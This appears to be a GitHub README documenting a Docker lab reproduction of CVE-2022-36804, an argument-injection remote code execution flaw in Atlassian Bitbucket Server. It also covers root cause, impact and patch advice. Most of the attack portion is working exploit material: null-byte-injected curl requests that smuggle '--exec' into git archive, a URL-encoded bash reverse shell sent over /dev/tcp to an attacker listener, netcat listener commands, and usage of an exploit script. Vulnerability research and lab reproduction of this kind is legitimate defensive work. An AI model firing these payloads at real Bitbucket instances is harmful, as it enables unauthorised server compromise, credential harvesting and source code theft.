
Full-chain reproduction of CVE-2022-36804 (Bitbucket RCE). Includes a Dockerized laboratory, pspy64 monitoring for null-byte injection verification, and a custom Bash exploit script. Based on Assetnote research.
CVE-2022-36804 is a high/critical Argument Injection vulnerability within the REST API of Atlassian Bitbucket Server and Data Center.
While the official NVD National Vulnerability Database base score is 8.8 (High) based on the assumption of required read privileges (PR:L), this analysis treats it as a 9.8 (Critical) flaw (PR:N). If a target repository has public access enabled—a common configuration—the exploit vector becomes entirely pre-authenticated.
This repository documents a full-chain laboratory reproduction of the exploit, directly based on the technical research published by Assetnote.
The analysis details the transition from environment orchestration and security filter evasion to achieving an interactive reverse shell. As outlined in the original discovery, this flaw allows for Remote Command Execution (RCE), which can be exploited pre-authentication if the target repository has public access enabled.
The vulnerability is rooted in a "Sanitization Impedance Mismatch" between the Java application runtime and the Linux Operating System.
As highlighted in Assetnote's research, Bitbucket utilizes the NuProcess library to construct and execute Git commands. When a user provides a prefix parameter to the /archive endpoint, Bitbucket fails to strip null characters (%00) before passing the argument list to the OS.
execve() processes the command, it cuts the string at %00. Because of how NuProcess passes the data, the OS treats everything following the null byte as an entirely new command-line argument.By injecting --exec=..., an attacker breaks out of the intended --prefix flag and forces the git archive process to execute an arbitrary binary, leading to Remote Command Execution (RCE).
To understand how the exploit transitions from a simple URL parameter to an OS-level command, we must dissect the payload's structure and observe the "Array Shift."
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
To simulate a realistic attack surface, the laboratory environment utilizes a dual-container architecture isolated within a Docker bridge network (hacking_net). This setup ensures that the exploitation and monitoring can be performed in a controlled environment without affecting the host system.
Victim Node: Runs Atlassian Bitbucket Server version 7.17.1. The container is intentionally named bitbucket-victim. This reflects a critical design refinement made to ensure compliance with Apache Tomcat’s RFC 7230 enforcement. By using a hyphen instead of an underscore, the environment avoids the "Invalid Character" 400 errors that occur during payload execution—a key technical hurdle identified and resolved during the research phase.
Attacker Node: A tailored Kali Linux rolling image. Unlike a standard image, this node is pre-provisioned with the specific toolset required for this exploit chain: git for repository manipulation, curl for payload delivery, and netcat-traditional for capturing the reverse shell.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
If you have already provisioned the environment using the docker-compose.yml provided above, you can use the included exploit.sh script to verify the vulnerability and pop a reverse shell in seconds.
1. Prepare the Listener
On your Kali attacker node (or host machine), start a netcat listener to catch the shell:
nc.traditional -lvnp 4444
2. Execute the Exploit
Run the script by providing the target Bitbucket IP, the Project/Repo names, and your listener details:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. Verify Access
Once the script executes, check your netcat terminal. You should have an interactive session as the bitbucket user.
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
What follows is the raw execution log of the laboratory session, detailing the transition from environment setup to a fully interactive reverse shell, including the troubleshooting steps required to bypass application logic and web server constraints.
I started by spinning up the vulnerable environment and configuring the target application.
docker-compose up -d --build to deploy the Kali attacker and Bitbucket victim containers.http://localhost:7990 and waited for the Bitbucket setup routine to initialize.CVE and an empty repository named Repo1.
To verify the injection in real-time rather than relying on blind testing, I decided to deploy pspy64 to monitor underlying Linux processes.
pspy64 binary from the official GitHub repo.docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
-u 0) into the victim container, I applied execution privileges and started the monitor:docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
Switching to the attacker node (docker exec -it kali_attacker bash), I fired the initial remote command execution payload aimed at creating a file (/tmp/pwned).
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
_ character in the host name.
-H "Host: localhost") to force the payload through the web server to the Bitbucket application layerFiring the updated payload with the Host header resulted in a new error:
{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}
/archive endpoint was denying access. I deduced this was because git archive cannot operate on an empty repository—it needs a commit tree to parse.README.md ("This is a test repository for CVE-2022-36804") and attempted to push it from the Kali container.bitbucket_victim contained the forbidden underscore. This underscore is haunting me - lesson learned!172.19.0.3) and pushed the commit using the admin credentials:git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this:
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git
With the repository initialized, I fired the Host-header-modified payload once more:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
Success. Flipping over to my monitor terminal, I observed the "smoking gun." pspy64 captured the exact moment the Java process passed the injected null-byte string to the Linux kernel. As predicted in the technical analysis, the OS treated everything after the null byte as a new argument.
I followed this up with a manual check inside the container, confirming that the file /tmp/pwned had indeed been created by the bitbucket user (UID 2003).
To finalize the Proof of Concept and demonstrate maximum impact, I transitioned from a simple file creation to gaining full interactive system access.
nc.traditional -lvnp 4444
I retrieved my Kali container's internal IP using hostname -I to ensure the victim knew where to send the shell.
Executed the final payload. I used a URL-encoded bash reverse shell to ensure characters like >, &, and ' bypassed Tomcat's HTTP request parsers:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
Result: The connection stabilized. I successfully obtained an interactive shell as the bitbucket service user, proving a successful and total service compromise.
It is important to distinguish between the web application and the underlying OS. This reverse shell provides access to the server environment, not "Admin" rights within the Bitbucket UI.
As an OS-level argument injection, the shell inherits the privileges of the parent process—in this case, the bitbucket service account (UID 2003).
While this isn't immediate root access, the impact is still critical:
Intellectual Property Theft: Unauthorized access to the underlying Git objects for all repositories hosted on the instance, effectively bypassing the application's internal Role-Based Access Control (RBAC).
Credential Harvesting: Access to internal configuration files and database secrets.
Pivoting: The compromised server can now be used as a gateway to attack the internal network.
In a hardened environment, this is a total Service Compromise. While a secondary privilege escalation would be needed for full host control, the primary objective—accessing the organization's intellectual property—is fully realized.
To secure Bitbucket instances against this vulnerability, Atlassian released patches that implement strict validation on the prefix parameter and update the process execution logic to prevent null-byte argument splitting.
Official Fix: Upgrade to Bitbucket Server and Data Center versions 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1, or any version released after August 2022.
Immediate Mitigation: If an immediate upgrade is not possible, ensure that Public Access is disabled for all repositories. While this does not remove the vulnerability, it shifts the attack surface from an unauthenticated (Pre-Auth) vector to an authenticated one, requiring a valid user account to execute.
This Proof of Concept was developed by synthesizing research from the following primary sources and laboratory tools:
Assetnote Research: Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804) – The original discovery and technical walkthrough.
Technical Inspiration: Devcraft - GitHub RCE via Git Injection – The research on Git argument injection that inspired the Assetnote discovery.
Vulnerable Image: Atlassian Bitbucket Server 7.17.1 – The specific container layer utilized for this reproduction.
Monitoring Tool: pspy (Process Monitoring Tool) – Utilized for white-box verification of argument injection in the Linux kernel.
| Component | Purpose | Technical Role |
|---|
prefix=x | Requirement | git archive needs a prefix; x acts as a placeholder. |
%00 | The Knife | Null-Byte. Java passes it, but the C-based Linux kernel terminates string here. |
--exec=... | The RCE Trigger | The Dangerous Flag. Abuses Git's built-in feature to execute external programs. |
touch ... | The Action | The command to be executed. Safe PoC to verify RCE. |
--remote=... | The Trashcan | Consumes the Commit ID (appended by Bitbucket) as a valid argument, ensuring the command executes cleanly without syntax errors. |
This illustrates the core of the vulnerability: how Data (a directory prefix) is transformed into an Instruction (a command flag).
Java's Execution Context (Initial State):
Java sees a single, long string as the third argument.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Linux Kernel Execution (Exploited State):
The kernel's execve() syscall splits the string at every null-byte (\0), shifting the injected flags into their own standalone positions in the process's argument array.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/HEAD/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]